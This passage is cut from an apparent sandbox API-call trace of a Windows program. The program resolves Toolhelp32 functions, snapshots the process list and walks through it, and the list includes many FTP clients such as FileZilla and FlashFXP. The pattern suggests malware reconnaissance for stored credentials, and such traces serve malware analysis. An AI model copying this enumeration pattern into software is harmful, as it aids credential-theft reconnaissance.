lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0054.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Heap32Next", cchWideChar=10, lpMultiByteStr=0x1fd2d6c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heap32Next", lpUsedDefaultChar=0x0) returned 10 [0054.087] GetProcAddress (hModule=0x76d30000, lpProcName="Heap32Next") returned 0x76dc594e [0054.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Toolhelp32ReadProcessMemory", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0054.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Toolhelp32ReadProcessMemory", cchWideChar=27, lpMultiByteStr=0x1fef51c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Toolhelp32ReadProcessMemory", lpUsedDefaultChar=0x0) returned 27 [0054.087] GetProcAddress (hModule=0x76d30000, lpProcName="Toolhelp32ReadProcessMemory") returned 0x76dc5b53 [0054.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32First", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0054.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32First", cchWideChar=14, lpMultiByteStr=0x1fd2d6c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Process32First", lpUsedDefaultChar=0x0) returned 14 [0054.087] GetProcAddress (hModule=0x76d30000, lpProcName="Process32First") returned 0x76d68ae7 [0054.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32Next", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32Next", cchWideChar=13, lpMultiByteStr=0x1fd2d6c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Process32Next", lpUsedDefaultChar=0x0) returned 13 [0054.087] GetProcAddress (hModule=0x76d30000, lpProcName="Process32Next") returned 0x76d688a4 [0054.087] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32FirstW", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0054.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32FirstW", cchWideChar=15, lpMultiByteStr=0x1fd2d6c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Process32FirstW", lpUsedDefaultChar=0x0) returned 15 [0054.088] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0054.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32NextW", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0054.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32NextW", cchWideChar=14, lpMultiByteStr=0x1fd2d6c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Process32NextW", lpUsedDefaultChar=0x0) returned 14 [0054.088] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0054.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32FirstW", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0054.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32FirstW", cchWideChar=15, lpMultiByteStr=0x1fd2d6c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Process32FirstW", lpUsedDefaultChar=0x0) returned 15 [0054.088] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0054.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32NextW", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0054.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Process32NextW", cchWideChar=14, lpMultiByteStr=0x1fd2d6c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Process32NextW", lpUsedDefaultChar=0x0) returned 14 [0054.088] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0054.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thread32First", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thread32First", cchWideChar=13, lpMultiByteStr=0x1fd2d6c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Thread32First", lpUsedDefaultChar=0x0) returned 13 [0054.088] GetProcAddress (hModule=0x76d30000, lpProcName="Thread32First") returned 0x76dc5b93 [0054.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thread32Next", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0054.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thread32Next", cchWideChar=12, lpMultiByteStr=0x1fd2d6c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Thread32Next", lpUsedDefaultChar=0x0) returned 12 [0054.088] GetProcAddress (hModule=0x76d30000, lpProcName="Thread32Next") returned 0x76dc5c3f [0054.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32First", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32First", cchWideChar=13, lpMultiByteStr=0x1fd2d6c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module32First", lpUsedDefaultChar=0x0) returned 13 [0054.089] GetProcAddress (hModule=0x76d30000, lpProcName="Module32First") returned 0x76dc5cd9 [0054.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32Next", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0054.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32Next", cchWideChar=12, lpMultiByteStr=0x1fd2d6c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module32Next", lpUsedDefaultChar=0x0) returned 12 [0054.089] GetProcAddress (hModule=0x76d30000, lpProcName="Module32Next") returned 0x76dc5dc2 [0054.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32FirstW", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0054.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32FirstW", cchWideChar=14, lpMultiByteStr=0x1fd2d6c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module32FirstW", lpUsedDefaultChar=0x0) returned 14 [0054.089] GetProcAddress (hModule=0x76d30000, lpProcName="Module32FirstW") returned 0x76d679f9 [0054.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32NextW", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32NextW", cchWideChar=13, lpMultiByteStr=0x1fd2d6c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module32NextW", lpUsedDefaultChar=0x0) returned 13 [0054.089] GetProcAddress (hModule=0x76d30000, lpProcName="Module32NextW") returned 0x76d67d96 [0054.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32FirstW", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0054.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32FirstW", cchWideChar=14, lpMultiByteStr=0x1fd2d6c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module32FirstW", lpUsedDefaultChar=0x0) returned 14 [0054.089] GetProcAddress (hModule=0x76d30000, lpProcName="Module32FirstW") returned 0x76d679f9 [0054.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32NextW", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module32NextW", cchWideChar=13, lpMultiByteStr=0x1fd2d6c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Module32NextW", lpUsedDefaultChar=0x0) returned 13 [0054.089] GetProcAddress (hModule=0x76d30000, lpProcName="Module32NextW") returned 0x76d67d96 [0054.090] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c [0054.096] Process32FirstW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.104] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0054.241] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0054.242] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.243] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0054.243] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.244] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0054.245] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0054.245] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0054.246] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0054.247] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.247] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.249] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.249] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.250] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.251] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0054.251] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.252] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.253] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.254] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0054.255] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0054.256] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.257] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.258] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0054.259] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pike.exe")) returned 1 [0054.260] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="autos-buddy-posting.exe")) returned 1 [0054.261] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sport_ebooks.exe")) returned 1 [0054.261] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foam-clarity.exe")) returned 1 [0054.264] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen.exe")) returned 1 [0054.265] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="branches.exe")) returned 1 [0054.266] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fold_earn_rage.exe")) returned 1 [0054.266] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="estimationstrings.exe")) returned 1 [0054.267] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="implementation-senior-pursue.exe")) returned 1 [0054.268] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="suited_eight_portfolio.exe")) returned 1 [0054.269] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ivory-israel.exe")) returned 1 [0054.270] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="victorian.exe")) returned 1 [0054.271] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="excuse-focusing-korea.exe")) returned 1 [0054.271] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jeffersonextreme.exe")) returned 1 [0054.272] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="carb-select.exe")) returned 1 [0054.273] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="teenage-remaining-delaware.exe")) returned 1 [0054.273] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0054.274] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0054.275] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0054.276] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0054.279] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0054.280] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0054.281] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0054.281] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0054.282] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0054.283] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0054.284] Process32NextW (in: hSnapshot=0x2c, lppe=0x18fad4 | out: lppe=0x18fad4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, 